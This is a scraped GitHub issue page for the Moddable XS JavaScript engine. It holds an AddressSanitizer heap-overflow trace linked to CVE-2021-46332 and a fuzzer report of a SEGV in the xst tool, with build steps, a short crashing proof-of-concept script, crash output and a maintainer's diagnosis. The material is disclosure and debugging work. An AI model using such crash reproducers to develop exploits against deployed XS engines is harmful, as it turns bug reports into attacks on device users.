    #0 0x5558b4ed93a3 in fxUint8Getter /root/moddable/xs/sources/xsDataView.c:2883
    #1 0x5558b4e8afbb in fxCompareTypedArrayItem /root/moddable/xs/sources/xsDataView.c:1234
    #2 0x5558b4e8e7d9 in fx\_TypedArray\_prototype\_sort /root/moddable/xs/sources/xsDataView.c:2303
    #3 0x5558b516fa1d in fxRunID /root/moddable/xs/sources/xsRun.c:842
    #4 0x5558b51d642c in fxRunScript /root/moddable/xs/sources/xsRun.c:4766
    #5 0x5558b53e48d1 in fxRunProgramFile /root/moddable/xs/tools/xst.c:1387
    #6 0x5558b4d1c05e in main /root/moddable/xs/tools/xst.c:281
    #7 0x7f86d6cd0bf6 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21bf6)
    #8 0x5558b4d1d789 in \_start (/root/moddable/build/bin/lin/debug/xst+0x93789)

0x7f86d2bfe7ff is located 1 bytes to the left of 16777248-byte region \[0x7f86d2bfe800,0x7f86d3bfe820)
allocated by thread T0 here:
    #0 0x7f86d773bb40 in \_\_interceptor\_malloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdeb40)
    #1 0x5558b50510cd in fxGrowChunks /root/moddable/xs/sources/xsMemory.c:506

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/moddable/xs/sources/xsDataView.c:2883 in fxUint8Getter
Shadow bytes around the buggy address:
  0x0ff15a577ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff15a577cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff15a577cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff15a577cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff15a577ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
\=>0x0ff15a577cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\[fa\]
  0x0ff15a577d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff15a577d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff15a577d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff15a577d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff15a577d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
\=======ABORTING

Credits: Found by OWL337 team.

CVE-2021-46332: Heap-buffer-overflow xs/sources/xsDataView.c:2883 in fxUint8Getter · Issue #752 · Moddable-OpenSource/moddable

Moddable SDK v11.5.0 was discovered to contain a SEGV vulnerability via the component _fini.

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**SEGV (/usr/local/bin/xst+0xdfee5f) in \_fini #768**

Open

hope-fly opened this issue

Jan 7, 2022

· 1 comment

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**Moddable-XS revision**

Commit: 2f93df29

Version: 11.5.0 32 4

**Build environment**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

cd  ~/moddable/xs/makefiles/lin
make -f xst.mk

**Test case**poc.js

    
    function JSEtest() {
        return { __proto__: setInterval(/a/g, "") } instanceof Array
            && !({ __proto__: null } instanceof Object);
    }
    
    if (!JSEtest())
        throw new Error("Test failed");
**Execution & Output**

$ ./moddable/build/bin/lin/debug/xst poc.js

Error: Test failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==50961==ERROR: AddressSanitizer: SEGV on unknown address 0x000000dfee60 (pc 0x000000dfee60 bp 0x7ffe67452190 sp 0x7ffe67452088 T0)

==50961==The signal is caused by a READ memory access.
==50961==Hint: PC is at a non-executable region. Maybe a wild jump?
    #0 0xdfee5f in \_fini (/usr/local/bin/xst+0xdfee5f)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/xst+0xdfee5f) in \_fini
==50961==ABORTING

Credits: Found by OWL337 team.

![@phoddie](https://avatars.githubusercontent.com/u/6856458?s=88&u=215e33360b9ddfee4db978bab8a275a39972aa9f&v=4)

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**![@phoddie](https://avatars.githubusercontent.com/u/6856458?s=60&u=215e33360b9ddfee4db978bab8a275a39972aa9f&v=4) **phoddie** commented Jan 8, 2022**

Thank you for the report!

The crash occurs in after the test exits. The call to fxDeleteMachine crashes when calls the destructor of the timer created by `setInterval`.

while (bSlot < cSlot) {
	if ((bSlot->kind == XS\_HOST\_KIND) && (bSlot->value.host.variant.destructor)) {
		if (bSlot->flag & XS\_HOST\_HOOKS\_FLAG) {
			if (bSlot->value.host.variant.hooks\->destructor)
				(\*(bSlot->value.host.variant.hooks\->destructor))(bSlot->value.host.data);
		}
		else
			(\*(bSlot->value.host.variant.destructor))(bSlot->value.host.data);
	}
	bSlot++;
}

This may be a bug in the `xst` tool rather than the XS engine. Either way, we'll fix that so it doesn't get in the way of testing.

mkellner pushed a commit that referenced this issue

Jan 17, 2022

2 participants

 ![@phoddie](https://avatars.githubusercontent.com/u/6856458?s=52&v=4)![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

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#ubuntu